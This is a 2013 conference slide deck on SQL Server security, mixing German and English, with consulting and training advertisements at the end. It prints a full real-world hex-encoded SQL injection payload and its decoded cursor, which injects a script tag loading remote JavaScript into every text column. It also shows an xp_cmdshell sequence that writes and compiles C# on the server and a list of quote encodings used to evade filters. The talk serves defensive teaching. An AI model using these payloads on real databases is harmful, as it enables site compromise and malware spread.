



“SQL Attack..ed” - SQL Server under Attack

Andreas Wolter
Database Architect,
MCM

**Fokus: Webapplication und
Netzwerk-Layer**



Andreas Wolter



Consultant, Trainer & Speaker
Microsoft Certified Master SQL Server (MCM)

- Microsoft SQL Server 7.0 - 2014
 - Datawarehouse & OLTP-System Architektur
 - Performance Tuning
 - Sicherheit

Contact: andreas.wolter@SarpedonQualityLab.com
 Blog: www.insidesql.org/blogs/andreaswolter/
 XING: www.xing.com/profile/Andreas_Wolter2
 LinkedIn: www.linkedin.com/in/andreaswolter
 Twitter: [@AndreasWolter](https://twitter.com/AndreasWolter)

**SQL SERVER
MASTER-CLASS**

by SARPEDON QUALITY LAB

**Microsoft
CERTIFIED**
Master

**Microsoft
CERTIFIED**
Trainer

Database Development
Database Administration
Systems Administration

**Microsoft
CERTIFIED**
Solutions Master
Charter - Data
Platform

**Microsoft
CERTIFIED**
Solutions Expert
Data Platform

**Microsoft
CERTIFIED**
IT Professional

Database Developer 2008
Database Administrator 2008
Business Intelligence Developer 2008



Agenda

„was wir schaffen...“ – Interaktivität erwünscht

■ (Web)Application Layer

- Mein Formular und die WAF lassen nichts durch – oder doch?
 - ▶ Standard SQL Injection
 - ▶ Blind / Error-based /Time-based SQL Injection, Encoding Injection
 - ▶ 2nd Order SQL Injection
 - ▶ Privilege Escalation über SQL Injection und trustworthy
 - ▶ Automatisierte Attacken mit Tools, weitere „Features“
 - ▶ "Der Fall der nicht-terminierbaren Transaktion" - DoS Attack über SQL Injection
- Spaß mit Zeichensätzen
 - ▶ Tabellen ohne Namen? – Oder überhaupt keine Tabellen?
„Garantiert eindeutige Objektnamen“ ;-)

■ Innerhalb des Netzwerk

- Aufklärung: Erkennen von SQL Server Instanzen
- SQL Authentifizierung
 - ▶ Automatisierte Brute-Force Attacke

Teil 1 + 2 von 4
->


www.insidesql.org/blog/s/andreaswolter/2013/07/security-session-sql-server-attack-ed

3

Excerpts from the 2013 Data Breach Investigations Report

- Most attacks in fact do happen from the outside
- In over 50% of all cases it's about the data!
- The top HACKING actions are:
 - Use of stolen Credentials
 - Use of backdoors
 - The old friend Brute force (!)..
 - Much later followed by SQLinjection
- The top MALWARE actions are:
 - Spyware/Keylogger
 - Backdoors
 - Exportieren of Data
- The greatest amount of compromised „goods„ from databases are from financial nature
- Most first attacks are in fact of simple nature.
- Most break-ins stay undetected for months!

Figure 21: Variety of malware actions




<http://www.verizonenterprise.com/DBIR/2013/>

4

The Top 10 Weaknesses

■ White Hat – Website Security Statistics Report, May 2013

- <http://www.slideshare.net/duncant75/whitehat-security-website-security-statistics-report-may-2013>
- Information leakage: 31%
- Brute Force: 8%
- SQL Injection: 7%



5

Encoding-Beispiele für '

- %27 URL encoding
- %2527 Double URL encoding
- %%317 Nested double URL encoding
- %u0027 Unicode representation
- ' HTML entity
- ' Decimal HTML entity
- ' Hexadecimal HTML entity
- %26apos; Mixed URL/HTML encoding

Diese Liste ist NICHT vollständig!

6

Beispiel einer realen Hex-based attack:

```
s=';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C004100520045
0020004000540020007600610072006300680061007200280032003500350029002C0040004300
200076006100720063006800610072002800320035003500290020004400450043004C00410052
00450020005400610062006C0065005F0043007500720073006F007200200043005500520053004
F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D00650
02C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006
500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200
077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E0
0780074007900700065003D003900390020006F007200200062002E00780074007900700065003
D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F0
07200200062002E00780074007900700065003D00310036003700290020004F00500045004E002
0005400610062006C000041005400450020005400610062006C0065005F0043007500720073006
F007200%20AS%20NVARCHAR(4000));EXEC(@S);--
```

7

Und das steckte darin:

```
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
    BEGIN exec('update ['+@T+'] set
    ['+@C+']=rtrim(convert(varchar,['+@C+']))+'<script
    src=http://www.*****.cn/m.js></script>')
    FETCH NEXT FROM Table_Cursor INTO @T,@C
    END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
```

8

Just because I think it's „lovely“ ☺

Compiling a Binary on SQL Server Using csc.exe

```
exec master..xp_cmdshell "echo using System; >>\temp\test.cs"
exec master..xp_cmdshell "echo using System.Data; >>\temp\test.cs"
exec master..xp_cmdshell "echo using System.Data.Sql; >>\temp\test.cs"
exec master..xp_cmdshell "echo using System.Data.SqlTypes; >>\temp\test.cs"
exec master..xp_cmdshell "echo using Microsoft.SqlServer.Server; >>\temp\test.cs"
exec master..xp_cmdshell "echo public partial class StoredProcedures >>\temp\test.cs"
exec master..xp_cmdshell "echo { >>\temp\test.cs"
exec master..xp_cmdshell "echo [SqlProcedure] >>\temp\test.cs"
exec master..xp_cmdshell "echo public static void HelloWorldStoredProcedure( ) >>\temp\test.cs"
exec master..xp_cmdshell "echo { >>\temp\test.cs"
exec master..xp_cmdshell "echo SqlContext.Pipe.Send("Hello world.\n"); >>\temp\test.cs"
exec master..xp_cmdshell "echo } >>\temp\test.cs"
exec master..xp_cmdshell "echo }; >>\temp\test.cs"

exec master..xp_cmdshell 'C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\csc /target:library /out:c:\temp\test.dll c:\temp\test.cs'
```

From: SQL Injection Attacks and Defense, Justin Clarke

9

Zusammenfassung

- „Der SQL Server ist **verdammt** sicher.“
 - Seit 2008 KEINE Security-Holes. (Also fleissig patchen)
- Hacken nur bei fahrlässiger Konfiguration und nicht-Einhalten von Security-Best-Practices in der Programmierung/Anwendungsarchitektur möglich.
 - Leider ist das alles andere als die Ausnahme.
 - Wissen schafft Sicherheit.
- Grundsatz: man sollte wirklich nie mehr Rechte vergeben, als unbedingt notwendig!
 - Dafür muss man sich mit Permissions auseinandersetzen (Admin), und die Anwendung kennen (Dev)

10

Ressources

- Microsoft SQL Server 'sp_replwritetovarbin' Remote Memory Corruption Vulnerability
<http://support.microsoft.com/kb/961040/en-us>
 - Microsoft Security Update for SQL Server 2005 Service Pack 2
 - Microsoft Security Update for SQL Server 2000 Service Pack 4 and MSDE 2000
- VIEWSTATE Vulnerabilities
 - <http://blog.ptsecurity.com/2012/01/viewstate-vulnerabilities.html>
- CWE/SANS Top 25 Most Dangerous Software Errors
 - <http://cwe.mitre.org/top25/index.html>
- Microsoft Security Bulletins
 - <http://technet.microsoft.com/en-us/security/bulletin/>
- SQL Server Security Blog
 - <http://blogs.msdn.com/b/sqlsecurity/>
- Security Development Lifecycle Blog
 - <http://blogs.msdn.com/b/sdl/>
 - [Attack Surface Analyzer 1.0: http://blogs.msdn.com/b/sdl/archive/2012/08/02/attack-surface-analyzer-1-0-released.aspx](http://blogs.msdn.com/b/sdl/archive/2012/08/02/attack-surface-analyzer-1-0-released.aspx)
- SDL Quick Security References
 - <http://www.microsoft.com/en-us/download/details.aspx?id=13759>
- Advanced SQL Injection In SQL Server Applications, Chris Anley
- SQL Server Forensic Analysis, Kevvie Fowler

11

SQL SERVER MASTER-CLASSES



- ❖ NO MOC Class ;-)
- ❖ Deep Insight into SQL Server Internals
- ❖ Real World & Practical

Not just „best practices“
but
„What Why and How“

- ❖ **SQL Server Security Essentials (SES)** - 1 day
- ❖ **Security Workshop for Advanced Developers (SID)** - 1 day
- ❖ **Security Workshop for Advanced Administrators (SIA)** - 1 day

Exklusiver 10%
Rabatt-Code:
„PASS-Attacks“

- ❖ **FastTrack to Tracing with Extended Events for SQL Server (XE3)** - 1 day
- ❖ **In-Memory OLTP & ColumnStore Workshop - New Storage Engines of SQL Server 2014 (XTC)** - 1 day
- ❖ **Workshop Performance and Analysis, Techniques & -Tools (PAT)** – 2 days

Location: Duesseldorf, Germany (other Locations in planning)

* Also on demand *

en.SarpedonQualityLab.com/SQL_Master-Classes.htm
<http://j.mp/196F3bM>



Instructor: Andreas Wolter



12

SQL Server Health Check

„Master-Certified“



❖ 3 Standard-Level

❖ **Base Config & Maint.**

- ❖ Windows and SQL Server Configuration (File-System, Features, CPU, Memory Allocation,...)
- ❖ Maintenance Check
- ❖ High-Level Check Wait-Stats, Plan Cache,...
- ❖ Effort: approx 3-4 hrs

390,-*

❖ **Performance Baseline**

- ❖ Base Config & Maint. +
- ❖ Storage Layout & Config
- ❖ Indexes, Statistics, Queries
- ❖ Effort: approx 10 hrs

990,-*

❖ **Performance Analysis**

- ❖ Performance Baseline +
- ❖ Detailed Performance-Analysis & Assessment
- ❖ Effort: approx 20 hrs

2400,-*

❖ Further Analysis upon request

❖ Disaster Recovery & SLA-Compliance-Checks upon request

❖ More Information: info@SarpedonQualityLab.com



Microsoft
CERTIFIED
Master

*per SQL Server Instanz, Prices in EUR, VAT may apply
Date of 11-2013. Pricing subject to change.

13



MICROSOFT® CERTIFIED SINCE 2000

Microsoft
CERTIFIED
Master

Sarpedon Quality Lab: Ihr Spezialist für Datenbanken und Business Intelligence auf Basis von SQL Server Technologien

Seit Juni 2012 sind wir das erste von Microsoft unabhängige Unternehmen im Deutschsprachigen Raum mit einem Microsoft Certified Master für SQL Server (MCM) an der Spitze des Teams*!

Sie suchen Unterstützung bei der Umsetzung Ihrer Ziele?

Sie sind noch unschlüssig, auf welche Technologien Sie setzen sollen?

Fragen Sie uns!

Wir haben beste Erfahrungen mit Produkten des Marktführers für Business Intelligence Produkte: Microsoft.

* <http://www.sarpedonqualitylab.com/sql-aktuelles.htm>